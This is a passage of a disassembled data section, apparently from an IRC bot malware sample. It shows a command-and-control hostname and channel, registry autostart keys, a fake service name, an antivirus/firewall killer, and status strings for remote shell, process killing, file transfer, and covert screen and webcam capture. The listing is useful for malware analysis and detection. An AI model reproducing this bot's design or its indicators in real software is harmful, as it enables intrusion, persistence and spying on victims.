dword_427C50	dd 0FFFFFFFFh, 423DE5h,	423DE9h	; DATA XREF: sub_423CEC+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4247EC+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_424D78+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_424D78+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4256C2:loc_4257B7o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_4256C2+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_4256C2+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4256C2+ADo
		align 10h
dword_427CF0	dd 0FFFFFFFFh, 4260BAh,	4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
					; DATA XREF: sub_425F03+5o
		dd 427E2Ch
off_427D0C	dd offset loc_4264E2	; DATA XREF: sub_4264BA+8o
					; sub_4264FE+2Co ...
		dd offset sub_4264D5
		dd offset sub_4266F6
		dd offset dword_427E78
off_427D1C	dd offset sub_42654C	; DATA XREF: sub_4264FE+3Ao
					; sub_426568o ...
		dd offset sub_4264D5
		dd offset loc_426732
dword_427D28	dd 0			; DATA XREF: sub_4264FE+16o
					; sub_4265D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426573+11o
		dd offset dword_427EC4
off_427D48	dd offset sub_42665B	; DATA XREF: sub_426677o
					; sub_42669A+37o ...
		dd offset sub_4264D5
		dd offset loc_426714
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42669A+11o
		dd offset dword_427F08
off_427D68	dd offset loc_4267F7	; DATA XREF: sub_4267E2o
					; ___:off_43D084o ...
		dd offset dword_427F38
off_427D70	dd offset loc_426813	; DATA XREF: sub_42682F+8o
					; sub_42686C+8o ...
		dd offset sub_4268CC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
		align 10h
dword_427D90	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4268D9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427DB0	dd 0FFFFFFFFh, 426A8Ah,	426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
					; DATA XREF: sub_426988+5o
dword_427DC8	dd 0FFFFFFFFh, 426CFFh,	426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
					; DATA XREF: sub_426C13+5o
		dd 43D084h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DF8	dd offset off_43D09C	; DATA XREF: ___:00427E10o
					; ___:00427E5Co ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427E18	dd 3 dup(0)		; DATA XREF: ___:00427E3Co
		dd 2, 427E10h, 3 dup(0)
		dd offset off_43D09C
		dd offset dword_427E18+4
off_427E40	dd offset off_43D0BC	; DATA XREF: ___:00427E58o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E40
		dd offset off_427DF8
		dd offset dword_427DC8+18h
		dd 0
		db    0			; DATA XREF: ___:00427E88o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427E58h
dword_427E78	dd 3 dup(0)		; DATA XREF: ___:00427D18o
		dd offset off_43D0BC
		dd offset unk_427E68
off_427E8C	dd offset off_43D0DC	; DATA XREF: ___:00427EA4o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E8C
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427EB0	dd 3 dup(0)		; DATA XREF: ___:00427ED4o
		dd 3, 427EA4h
dword_427EC4	dd 3 dup(0)		; DATA XREF: ___:00427D44o
		dd offset off_43D0DC
		dd offset dword_427EB0+4
off_427ED8	dd offset off_43D100	; DATA XREF: ___:00427EF0o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427ED8
		dd 0
		db    0			; DATA XREF: ___:00427F18o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427EF0h
dword_427F08	dd 3 dup(0)		; DATA XREF: ___:00427D64o
		dd offset off_43D100
		dd offset unk_427EF8
		dd offset dword_427DC8+18h
dword_427F20	dd 4 dup(0)		; DATA XREF: ___:00427F48o
		dd 1, 427F1Ch
dword_427F38	dd 3 dup(0)		; DATA XREF: ___:00427D6Co
		dd offset off_43D084
		dd offset dword_427F20+8
		align 10h
dword_427F50	dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF:	___:loc_426DF7o
		dd 0FFFFFFFFh, 426DE0h,	0
		dd offset sub_426DD8
dword_427F80	dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF:	___:loc_426E14o
		dd 0FFFFFFFFh, 426E04h,	0
		dd offset loc_426E0C
dword_427FB0	dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3	dup(0) ; DATA XREF: ___:loc_426E20o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FF8h, 4	dup(0)
; ---------------------------------------------------------------------------
		retf	40D7h
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 426E2Ah
dword_428010	dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF:	___:loc_426E32o
		dd offset off_43D084
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42686Ch, 0
		dd offset off_43D09C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426618h, 0
		dd offset off_43D0BC
		align 10h
		dd 0FFFFFFFFh, 0
dword_428078	dd 1Ch,	426682h, 3, 428064h, 428048h, 42802Ch ;	DATA XREF: ___:0042809Co
dword_428090	dd 0			; DATA XREF: sub_426573+2Eo
					; sub_4266F6+4Bo
		dd offset sub_426568
		dd 0
		dd offset dword_428078+8
		dd 0FFFFFFFFh, 426E3Ch
dword_4280A8	dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF:	___:loc_426E44o
		dd 0FFFFFFFFh, 426E4Eh
dword_4280CC	dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF:	___:loc_426E56o
		dd 0FFFFFFFFh, 426E60h
dword_4280F0	dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF:	___:loc_426E68o
		dd offset off_43D0DC
		align 8
		dd 0FFFFFFFFh, 0
dword_428120	dd 1Ch,	4266DEh, 3, 42810Ch, 428048h, 42802Ch ;	DATA XREF: ___:00428144o
dword_428138	dd 0			; DATA XREF: sub_42669A+2Eo
					; sub_4266F6+2Do
		dd offset sub_426677
		dd 0
		dd offset dword_428120+8
		dd 0FFFFFFFFh, 426E72h
dword_428150	dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF:	___:loc_426E7Ao
dword_42816C	dd 2, 428048h, 42802Ch	; DATA XREF: ___:00428184o
dword_428178	dd 0			; DATA XREF: sub_4266F6+Fo
		dd offset sub_4264BA
		dd 0
		dd offset dword_42816C
		dd 5 dup(6311C8DBh), 5 dup(2F75967Ch), 5 dup(0E3B2A07h)
		dd 7Ah dup(0)
		dd 0E3B2A07h, 0
		dd 6311C8DBh, 15h dup(0)
		dd 2F75967Ch, 2FCh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041B7A3o
		dd offset loc_401205
		dd offset sub_40D878
		dd offset sub_40D89A
		dd offset dword_40E504+1CFh
dword_429014	dd 0			; DATA XREF: ___:0041B79Eo
dword_429018	dd 0			; DATA XREF: ___:0041B794o
		dd offset sub_41D052
		dd offset sub_42026D
		dd offset sub_423936
		dd offset word_424752
dword_42902C	dd 0			; DATA XREF: ___:loc_41B78Fo
dword_429030	dd 0			; DATA XREF: sub_41B7D3+65o
		dd offset sub_4239DB
dword_429038	dd 0			; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C	dd 0			; DATA XREF: sub_41B7D3+76o
		dd offset byte_424763
dword_429044	dd 3 dup(0)		; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050	dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_40461Br
dword_429078	dd 45h			; DATA XREF: sub_401ACD+2088r
					; sub_40BACD+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403C43r
					; sub_40BACD:loc_40BEBEr
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403DCFr
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_40473Er
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+65Fr
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_418359+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A92r
					; sub_401ACD+B4Br ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40ACB5+3Ar
					; sub_40ACB5+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aDark		db 'Dark',0             ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_4044A0o ...
		align 4
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404945o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7DDBo
					; sub_401ACD+7EAAo
		align 10h
aSaber_ircqforu	db 'saber.ircqforum.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E4	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aAber_ircqforum	db 'aber.ircqforum.com',0
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_429108	db 6Dh			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 73h,	6Eh, 6Dh
		dd 7261676Eh, 6578652Eh, 0
dword_429118	dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o
aWindowsServceA	db 'Windows Servce Agent',0 ; DATA XREF: sub_401000+Eo
		align 4
asc_42913C:				; DATA XREF: ___:0040AD34o
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7F26o
		align 4
aF		db '#f',0               ; DATA XREF: sub_401ACD+1D45o
					; sub_401ACD+303Fo ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+44A2o
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40C4o
					; sub_401ACD+4216o
		align 10h
off_429160	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4098FBo
					; "*@admin.com"
off_429164	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
					; sub_401ACD+7E4Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o
					; sub_41A19D+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o
					; sub_41A19D+D4o
		align 4
		dd offset aAdministrato_0 ; "administrator"
		dd 0
		dd offset dword_43D128
		dd offset aAdministrato_0 ; "administrator"
		align 10h
dword_429230	dd 10h			; DATA XREF: sub_401ACD+AFBr
					; sub_401ACD+B27r ...
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:0042921Co
					; ___:00429228o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_429160o
dword_4292D0	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429304	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 10h
unk_429330	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 10h
unk_429370	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429394	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_4293B0	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_4293BC	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
					; sub_415A2F+7Eo
dword_4293C4	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_40F6B3+EAo ...
unk_4293CC	db  2Dh	; -		; DATA XREF: sub_4017ED+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o
		align 4
unk_429434	db  2Dh	; -		; DATA XREF: sub_401ACD+7F09o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_429454	db  2Dh	; -		; DATA XREF: sub_401ACD+7EECo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_429474	db  2Dh	; -		; DATA XREF: sub_401ACD+7E8Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 10h
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E62o
		align 4
unk_4294C8	db  2Dh	; -		; DATA XREF: sub_401ACD+7E24o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E12o
					; sub_401ACD+7E79o
		align 10h
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7DFBo
		align 4
asc_429548:				; DATA XREF: sub_401ACD+7DCBo
		unicode	0, <~>,0
unk_42954C	db  2Dh	; -		; DATA XREF: sub_401ACD+7D7Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 10h
unk_429570	db  2Dh	; -		; DATA XREF: sub_401ACD+7D0Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 4
unk_429598	db  2Dh	; -		; DATA XREF: sub_401ACD+7CC3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_4295BC	db  2Dh	; -		; DATA XREF: sub_401ACD+7CA1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
unk_4295E0	db  2Dh	; -		; DATA XREF: sub_401ACD+7C81o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_429604	db  2Dh	; -		; DATA XREF: sub_401ACD+7C5Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
dword_429628	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401ACD+7C3Ao
		dd 2E732520h, 0
unk_429644	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409684o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
unk_429670	db  2Dh	; -		; DATA XREF: sub_401ACD+7BB0o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429694	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4095FCo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_4296BC	db  2Dh	; -		; DATA XREF: sub_401ACD+7B25o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+7B0Bo
unk_4296E8	db  2Dh	; -		; DATA XREF: sub_401ACD+79FEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_429710	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4094B2o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429734	db  2Dh	; -		; DATA XREF: sub_401ACD+79DBo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_429754	db  2Dh	; -		; DATA XREF: sub_401ACD+79B7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_42977C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409467o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_4297A4	db  2Dh	; -		; DATA XREF: sub_401ACD+796Co
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_4297C4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4093FCo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_4297F4	db  2Dh	; -		; DATA XREF: sub_401ACD+7925o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429814	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409398o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429844	db  2Dh	; -		; DATA XREF: sub_401ACD+78C4o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_429868	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+7884o
		dd 27732527h, 2Eh
unk_429884	db  2Dh	; -		; DATA XREF: sub_401ACD+7802o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_4298A8	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+7785o
		dd 0
unk_4298C0	db  2Dh	; -		; DATA XREF: sub_401ACD+7754o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 10h
dword_429900	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+76E5o
		dd 2Eh
dword_429918	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_40913Fo
		dd 746E6573h, 2Eh
unk_429934	db  2Dh	; -		; DATA XREF: sub_401ACD+766Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_429954	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+762Fo
		dd 732520h
unk_42996C	db  2Dh	; -		; DATA XREF: sub_401ACD+7610o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_429998:				; DATA XREF: sub_401ACD+75F8o
					; sub_40F6B3+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42999C	db  2Dh	; -		; DATA XREF: sub_401ACD+75CEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 10h
unk_4299C0	db  2Dh	; -		; DATA XREF: sub_401ACD+75C1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_4299E4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40901Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 4
unk_429A24	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409014o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_429A64	db  2Dh	; -		; DATA XREF: sub_401ACD+753Do
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 10h
aVideo		db 'video',0            ; DATA XREF: sub_401ACD:loc_408F86o
		align 4
unk_429A98	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F73o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 10h
unk_429AD0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F6Co
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
unk_429B04	db  2Dh	; -		; DATA XREF: sub_401ACD+748Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
aFrame		db 'frame',0            ; DATA XREF: sub_401ACD:loc_408EE5o
		align 4
unk_429B38	db  2Dh	; -		; DATA XREF: sub_401ACD+740Bo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 10h
unk_429B60	db  2Dh	; -		; DATA XREF: sub_401ACD+73D8o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 4
aDrivers	db 'drivers',0          ; DATA XREF: sub_401ACD:loc_408E58o
unk_429B90	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E45o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
unk_429BCC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E3Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 4
unk_429BFC	db  2Dh	; -		; DATA XREF: sub_401ACD+7361o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
aScreen		db 'screen',0           ; DATA XREF: sub_401ACD:loc_408DFDo
		align 10h
dword_429C30	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401ACD+7318o
		dd 2E732520h, 0
unk_429C4C	db  2Dh	; -		; DATA XREF: sub_401ACD+72D2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_429C7C	db  2Dh	; -		; DATA XREF: sub_401ACD+72B6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_429CA4	db  2Dh	; -		; DATA XREF: sub_401ACD+7209o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
unk_429CC4	db  2Dh	; -		; DATA XREF: sub_401ACD+71D5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_429CE4	db  2Dh	; -		; DATA XREF: sub_401ACD+7180o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_429D00	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401ACD+710Eo
dword_429D14	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o
					; sub_401ACD+7C47o
unk_429D20	db  2Dh	; -		; DATA XREF: sub_401ACD+70AFo
		db 3, 34h, 2
